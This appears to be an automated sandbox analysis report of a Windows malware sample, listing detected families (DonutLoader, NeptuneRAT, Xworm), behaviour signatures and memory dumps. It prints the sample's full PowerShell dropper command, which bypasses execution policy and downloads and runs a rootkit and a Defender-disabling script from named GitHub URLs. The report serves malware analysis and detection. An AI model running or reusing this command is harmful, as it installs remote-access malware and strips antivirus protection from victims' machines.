Analysis
- user interaction
yes - max time kernel
149s - max time network
153s - platform
windows11-21h2_x64 - resource
win11-20260513-en - resource tags
- submitted
27/07/2026, 03:45
General
- Target 234.exe
- Size 1.4MB
- Sample260727-ebenlsgn81
- SHA256 cb22ecf141895afa986c898edd2961d8ddbbd8f4515cd8bb48e36a93d582dd81
Malware Config
Extracted
-
ps1
-
exe.dropper
https://github.com/charlie-60/R/raw/refs/heads/main/MasonRootkit.exe
-
exe.dropper
https://raw.githubusercontent.com/ninhpn1337/Disable-Windows-Defender/main/source.bat
Signatures
- Family: DonutLoader
DonutLoader is a position-independent code that enables in-memory execution of VBScript, JScript, EXE, DLL files and dotNET assemblies.
- Family: NeptuneRAT, MasonRAT
NeptuneRAT aka MasonRAT is a trojan written in C#.
- Family: Xworm
Xworm is a remote access trojan written in C#.
- Detect Xworm Payload 2 IoCs
- Detects DonutLoader 2 IoCs
- Detects NeptuneRAT stealer 2 IoCs
- Badlisted process makes network request 1 IoCs
Network request originating from process or tool commonly abused by malware.
- Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell and hide display window.
- Modifies registry class 2 IoCs
- Suspicious behavior: EnumeratesProcesses 4 IoCs
- Suspicious behavior: GetForegroundWindowSpam 1 IoCs
- Suspicious use of AdjustPrivilegeToken 46 IoCs
- Suspicious use of SetWindowsHookEx 1 IoCs
- Suspicious use of WriteProcessMemory 2 IoCs
- Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
Processes
-
C:\Windows\Explorer.EXEC:\Windows\Explorer.EXE1⤵
- Modifies registry class
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\234.exe"C:\Users\Admin\AppData\Local\Temp\234.exe"2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -ExecutionPolicy Bypass -Command "$settings = '{\"WD\": false, \"adminrun\": false}' | ConvertFrom-Json; $randomString = \"2PewmOBXXq\"; if ($settings.WD) { $settings.adminrun = $true; (New-Object System.Net.WebClient).DownloadFile(\"https://raw.githubusercontent.com/ninhpn1337/Disable-Windows-Defender/main/source.bat\", $env:TEMP + '\' + $randomString + '.bat'); Start-Process -FilePath ($env:TEMP + '\' + $randomString + '.bat') -WindowStyle Hidden -Wait -Verb RunAs; }; if ($settings.adminrun) { $url = \"https://github.com/charlie-60/R/raw/refs/heads/main/MasonRootkit.exe\"; $outputPath = $env:TEMP + '\' + 'MasonRootkit.exe'; (New-Object System.Net.WebClient).DownloadFile($url, $outputPath); Start-Process $outputPath -Verb RunAs; } else { $url = \"https://github.com/charlie-60/R/raw/refs/heads/main/MasonRootkit.exe\"; $outputPath = $env:TEMP + '\' + 'MasonRootkit.exe'; (New-Object System.Net.WebClient).DownloadFile($url, $outputPath); Start-Process $outputPath; }"2⤵
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
Loading Replay Monitor...
Downloads
__PSScriptPolicyTest_2etkhtg3.txh.ps1
memory/2112-14-0x0000023A5C2D0000-0x0000023A5C492000-memory.dmp
memory/2112-6-0x0000023A59BA0000-0x0000023A59BB0000-memory.dmp
memory/2112-5-0x0000023A59BA0000-0x0000023A59BB0000-memory.dmp
memory/2112-13-0x0000023A59B70000-0x0000023A59B92000-memory.dmp
memory/2112-15-0x0000023A5C9D0000-0x0000023A5CEF8000-memory.dmp
memory/3156-2-0x0000000006C20000-0x0000000006C30000-memory.dmp
memory/3156-4-0x0000000006C20000-0x0000000006C30000-memory.dmp
memory/3156-3-0x0000000006C20000-0x0000000006C30000-memory.dmp
memory/3156-1-0x0000000004210000-0x0000000004222000-memory.dmp
memory/3156-0-0x0000000002FD0000-0x0000000002FE5000-memory.dmp
memory/3156-18-0x0000000006C20000-0x0000000006C30000-memory.dmp
memory/3156-20-0x0000000006C20000-0x0000000006C30000-memory.dmp
memory/3156-19-0x0000000006C20000-0x0000000006C30000-memory.dmp